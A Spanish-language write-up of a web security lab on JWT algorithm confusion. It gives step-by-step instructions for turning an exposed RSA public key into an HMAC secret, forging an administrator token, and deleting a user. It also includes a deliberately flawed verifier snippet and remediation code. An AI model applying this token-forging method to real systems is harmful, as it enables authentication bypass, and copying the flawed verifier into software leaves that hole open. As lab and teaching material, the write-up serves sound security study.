JWT authentication bypass via algorithm confusion
Algorithm confusion RS256→HS256 explotando la clave pública RSA expuesta en /jwks.json: reutilización del material público como secreto HMAC para firmar un token de administrador.
Target Overview & Vulnerability Summary
El laboratorio gestiona sesiones con JWT firmados mediante un par de claves RSA. La implementación es vulnerable a algorithm confusion: la clave pública está expuesta en un endpoint estándar y el servidor acepta tokens HS256 firmados con esa misma clave pública usada como secreto HMAC simétrico.
| Campo | Valor |
|---|---|
| Severidad | Alta (bypass de autenticación → GET /admin y eliminación de carlos) |
| Endpoint vulnerable | POST /login, GET /jwks.json (divulgación de clave), GET /admin |
| Root cause | El verificador deriva el algoritmo del header alg y reutiliza la clave pública RSA como clave HMAC, habilitando HS256 |
Technical Breakdown & Exploitation Flow
Tras un POST /login con wiener:peter, el JWT emitido decodifica con algoritmo RS256 (RSA + SHA-256, asimétrico):
{
"kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1757274914,
"sub": "wiener"
}
El enunciado describe el par de claves RSA para firmar y verificar, pero con fallas de implementación que lo hacen vulnerable a confusion de algoritmos. El ataque requiere: obtener la clave pública, convertirla a PEM, inyectarla como clave simétrica y firmar un JWT modificado.
Paso 1 — Obtener la clave pública
Algunos servidores exponen sus claves públicas como objetos JWK (JSON Web Key) vía el endpoint estándar /jwks.json o /.well-known/jwks.json. La ruta URL + /jwks.json responde con un JWK Set (array de claves bajo el campo keys):
curl -s '<0aXX…web-security-academy.net>/jwks.json' | jq .
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
"alg": "RS256",
"n": "v4y5TvnV8mFTWXCg8B5Hv0C5RHedyApipVRGeMCAQtWUaQWvw178JXxzzLmXTyeDv7zC6DILlvrdFSg2nS3VwOpjsVMUgjcdt-lzSt9SDiC51TXIggK06DEknBdlL3fy-xmLUrmfzDcoHLOvwmcmP_WNXDq5mLobA_W5MnSEnlt6L7QovNdu7ypHYYeIp6frwMugOp2yhwXjQ_JDRZUxSkbG6cYT956F09Zv6VJbnYifzC73Fzj3XkuMllxGPkWNdsMyn11tkDJEjqOG_84Pa7KELVB9uW3W16ajZAuISogMpO4o7LDGRcQmzvrMKkYsHHHFoRuDEOjfafd1SFJmHQ"
}
]
}
Paso 2 — Convertir el JWK a PEM
En JWT Editor se crea una New RSA Key, se presiona Generate y se pega el bloque del JWK; luego PEM convierte el par a formato PEM estándar:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv4y5TvnV8mFTWXCg8B5H
v0C5RHedyApipVRGeMCAQtWUaQWvw178JXxzzLmXTyeDv7zC6DILlvrdFSg2nS3V
wOpjsVMUgjcdt+lzSt9SDiC51TXIggK06DEknBdlL3fy+xmLUrmfzDcoHLOvwmcm
P/WNXDq5mLobA/W5MnSEnlt6L7QovNdu7ypHYYeIp6frwMugOp2yhwXjQ/JDRZUx
SkbG6cYT956F09Zv6VJbnYifzC73Fzj3XkuMllxGPkWNdsMyn11tkDJEjqOG/84P
a7KELVB9uW3W16ajZAuISogMpO4o7LDGRcQmzvrMKkYsHHHFoRuDEOjfafd1SFJm
HQIDAQAB
-----END PUBLIC KEY-----
Paso 3 — Usar la clave pública como clave simétrica
Con Burp Decoder, el PEM se codifica a base64:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2NHk1VHZuVjhtRlRXWENnOEI1SAp2MEM1UkhlZHlBcGlwVlJHZU1DQVF0V1VhUVd2dzE3OEpYeHp6TG1YVHllRHY3ekM2RElMbHZyZEZTZzJuUzNWCndPcGpzVk1VZ2pjZHQrbHpTdDlTRGlDNTFUWElnZ0swNkRFa25CZGxMM2Z5K3htTFVybWZ6RGNvSExPdndtY20KUC9XTlhEcTVtTG9iQS9XNU1uU0VubHQ2TDdRb3ZOZHU3eXBIWVllSXA2ZnJ3TXVnT3AyeWh3WGpRL0pEUlpVeApTa2JHNmNZVDk1NkYwOVp2NlZKYm5ZaWZ6QzczRnpqM1hrdU1sbHhHUGtXTmRzTXluMTF0a0RKRWpxT0cvODRQCmE3S0VMVkI5dVczVzE2YWpaQXVJU29nTXBPNG83TERHUmNRbXp2ck1La1lzSEhIRm9SdURFT2pmYWZkMVNGSm0KSFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
En la pestaña principal de JWT Editor: New Symmetric Key → Generate → reemplazar el campo k por ese valor base64. La clave simétrica queda registrada:
{
"kty": "oct",
"kid": "ee35583b-ac3f-4d6c-8daa-a64b2df4cf4d",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2NHk1VHZuVjhtRlRXWENnOEI1SAp2MEM1UkhlZHlBcGlwVlJHZU1DQVF0V1VhUVd2dzE3OEpYeHp6TG1YVHllRHY3ekM2RElMbHZyZEZTZzJuUzNWCndPcGpzVk1VZ2pjZHQrbHpTdDlTRGlDNTFUWElnZ0swNkRFa25CZGxMM2Z5K3htTFVybWZ6RGNvSExPdndtY20KUC9XTlhEcTVtTG9iQS9XNU1uU0VubHQ2TDdRb3ZOZHU3eXBIWVllSXA2ZnJ3TXVnT3AyeWh3WGpRL0pEUlpVeApTa2JHNmNZVDk1NkYwOVp2NlZKYm5ZaWZ6QzczRnpqM1hrdU1sbHhHUGtXTmRzTXluMTF0a0RKRWpxT0cvODRQCmE3S0VMVkI5dVczVzE2YWpaQXVJU29nTXBPNG83TERHUmNRbXp2ck1La1lzSEhIRm9SdURFT2pmYWZkMVNGSm0KSFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
Paso 4 — Confusión de algoritmo y firma del token de administrador
En Repeater, sobre la request con el JWT, se modifica el header para declarar un algoritmo distinto (HS256) y el claim sub a administrator:
{
"kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
"alg": "HS256"
}
Se firma con la clave simétrica creada: algoritmo HS256 y la opción "don't modify header" activada para que la extensión no revierta los cambios del header (conserva alg: HS256 y kid original).
Paso 5 — Acceso al panel de administración
Con el token forjado: GET /admin y posteriormente DELETE /admin?username=carlos.
Recapitulación del flujo:
- Obtener la public key desde
/jwks.json. - Crear la clave RSA en JWT Editor con el valor de la public key.
- Generar el valor en formato PEM.
- Codificar el PEM en base64 (Burp Decoder).
- Crear una clave simétrica cuyo campo
kes igual al valor codificado. - Modificar
algpara generar la confusion y el claimsubaadministrator. - Firmar con la clave simétrica.
Root Cause Analysis
El patrón defectuoso es doble:
- Exposición de la clave pública a través de
/jwks.json, que es información pública por diseño pero se vuelve crítica cuando el mismo material se acepta como secreto. - Confusión de algoritmos: el verificador selecciona el algoritmo desde el header
algsin validar que sea compatible con el tipo de clave. Al aceptarHS256, usa el material de la clave pública RSA como clave HMAC. Como la clave pública es conocida por cualquiera (está expuesta o es derivable), cualquier atacante puede firmar tokens válidos:
// defectuoso: alg tomado del header, clave pública usada como HMAC
alg := token.Header().Algorithm()
switch alg {
case "HS256":
hmacKey := parseRsaPublicKeyFromJwks(jwksURL) // rsa.PublicKey → bytes
return jwt.Verify(hmacKey) // valida con clave pública
case "RS256":
return jwt.VerifyRSA(token)
}
Secure Remediation
- Fijar el algoritmo por clave, no por header: una tabla
kid → (clave, algoritmo)y rechazo de cualquier combinación fuera de la esperada:
allowed := map[string]jwa.KeyAlgorithm{
"c8f3051e-496e-47eb-8ccc-c40f5e2cf128": jwa.RS256,
}
alg := token.Header().Algorithm()
if allowed[kid] != alg {
return errors.New("alg/kid mismatch")
}
- Usar exclusivamente algoritmos asimétricos (
RS256/RS384/RS512,ES*,EdDSA) cuando la clave es pública; nunca permitirHS*con material de clave pública. - Validar que el
kiddel token exista en el registro autorizado antes de seleccionar clave. - En el JWK Set, marcar
use: "sig"y validar el origen de/jwks.json(HTTPS, sin redirecciones).